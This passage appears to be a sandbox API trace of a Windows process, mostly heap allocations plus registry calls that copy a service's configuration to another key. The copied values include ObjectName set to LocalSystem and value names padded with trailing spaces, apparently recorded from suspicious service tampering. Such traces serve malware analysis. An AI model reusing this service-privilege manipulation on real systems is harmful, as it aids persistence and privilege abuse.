RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed378) returned 1 [0028.287] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a16e8) returned 1 [0028.287] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed368) returned 1 [0028.287] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a16a0) returned 1 [0028.287] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed358) returned 1 [0028.287] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed630) returned 1 [0028.287] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2eb0) returned 1 [0028.287] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed630 [0028.288] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed358 [0028.288] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a16a0 [0028.288] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed368 [0028.288] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a16e8 [0028.288] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed378 [0028.288] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1730 [0028.288] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.288] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed348) returned 1 [0028.288] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1658) returned 1 [0028.288] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed338) returned 1 [0028.288] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.288] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed328) returned 1 [0028.288] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed648) returned 1 [0028.288] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.288] RegQueryValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x34f3f0, lpData=0x0, lpcbData=0x34f3f8*=0x0 | out: lpType=0x34f3f0*=0x7, lpData=0x0, lpcbData=0x34f3f8*=0x194) returned 0x0 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x1c0) returned 0x502850 [0028.289] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.289] RegQueryValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x34f3f0, lpData=0x502850, lpcbData=0x34f3f8*=0x194 | out: lpType=0x34f3f0*=0x7, lpData=0x502850*, lpcbData=0x34f3f8*=0x194) returned 0x0 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed648 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed328 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1658 [0028.289] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed338 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.289] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed348 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a15c8 [0028.289] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed318 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1580 [0028.289] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.289] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x20) returned 0x3ebc08 [0028.290] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed648) returned 1 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed308 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1538 [0028.290] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2f8 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a14f0 [0028.290] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed258 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a14a8 [0028.290] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed268 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.290] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x30) returned 0x3eff98 [0028.290] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebc08) returned 1 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed388 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a17c0 [0028.290] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed398 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1808 [0028.290] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed3a8 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1850 [0028.290] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.290] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed3b8 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1898 [0028.291] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a18e0 [0028.291] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eff98) returned 1 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed3c8 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1928 [0028.291] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed3d8 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1970 [0028.291] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed3e8 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a19b8 [0028.291] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed3f8 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1a00 [0028.291] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x50) returned 0x3edd90 [0028.291] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a18e0) returned 1 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed408 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a18e0 [0028.291] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1610) returned 1 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x50) returned 0x54ddd8 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed418 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1610 [0028.291] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed428 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1a48 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed438 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1a90 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed448 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1ad8 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed458 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1b20 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed468 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1b68 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed478 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1bb0 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed488 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1bf8 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed498 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1c40 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed4a8 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1c88 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed4b8 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1cd0 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed4c8 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1d18 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed4d8 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1d60 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed4e8 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1da8 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed4f8 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1df0 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed508 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1e38 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed518 [0028.292] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509eb0 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1658) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed328) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed338) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a15c8) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed348) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1580) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed318) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1538) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed308) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a14f0) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed2f8) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a14a8) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed258) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed268) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a17c0) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed388) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1808) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed398) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1850) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed3a8) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1898) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed3b8) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1928) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed3c8) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1970) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed3d8) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a19b8) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed3e8) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1a00) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed3f8) returned 1 [0028.293] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a18e0) returned 1 [0028.294] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed408) returned 1 [0028.294] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3edd90) returned 1 [0028.294] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502850) returned 1 [0028.294] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x50) returned 0x54de30 [0028.294] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed408 [0028.294] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a18e0 [0028.294] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed3f8 [0028.294] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1a00 [0028.294] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed3e8 [0028.294] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a19b8 [0028.294] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x5029d8*, cbData=0x195 | out: lpData=0x5029d8*) returned 0x0 [0028.294] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5029d8) returned 1 [0028.294] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x5a2eb0*, cbData=0x49 | out: lpData=0x5a2eb0*) returned 0x0 [0028.313] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2eb0) returned 1 [0028.313] RegEnumValueA (in: hKey=0x9c, dwIndex=0x0, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.313] RegEnumValueA (in: hKey=0x9c, dwIndex=0x1, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.313] RegEnumValueA (in: hKey=0x9c, dwIndex=0x2, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.313] RegEnumValueA (in: hKey=0x9c, dwIndex=0x3, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.313] RegEnumValueA (in: hKey=0x9c, dwIndex=0x4, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.313] RegEnumValueA (in: hKey=0x9c, dwIndex=0x5, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.313] RegEnumValueA (in: hKey=0x9c, dwIndex=0x6, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.313] RegEnumValueA (in: hKey=0x9c, dwIndex=0x7, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.314] RegEnumValueA (in: hKey=0x9c, dwIndex=0x8, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.314] RegEnumValueA (in: hKey=0x9c, dwIndex=0x9, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.314] RegEnumValueA (in: hKey=0x9c, dwIndex=0xa, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.314] RegEnumValueA (in: hKey=0x9c, dwIndex=0xb, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0028.314] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0028.314] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a16a0) returned 1 [0028.314] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\networkService", cbData=0x1c | out: lpData="NT AUTHORITY\\networkService") returned 0x0 [0028.314] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a16a0) returned 1 [0028.314] RegEnumValueA (in: hKey=0x9c, dwIndex=0x0, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.315] RegEnumValueA (in: hKey=0x9c, dwIndex=0x1, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.315] RegEnumValueA (in: hKey=0x9c, dwIndex=0x2, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.315] RegEnumValueA (in: hKey=0x9c, dwIndex=0x3, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.315] RegEnumValueA (in: hKey=0x9c, dwIndex=0x4, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.315] RegEnumValueA (in: hKey=0x9c, dwIndex=0x5, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.315] RegEnumValueA (in: hKey=0x9c, dwIndex=0x6, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.315] RegEnumValueA (in: hKey=0x9c, dwIndex=0x7, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.315] RegEnumValueA (in: hKey=0x9c, dwIndex=0x8, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.315] RegEnumValueA (in: hKey=0x9c, dwIndex=0x9, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.315] RegEnumValueA (in: hKey=0x9c, dwIndex=0xa, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.315] RegEnumValueA (in: hKey=0x9c, dwIndex=0xb, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, 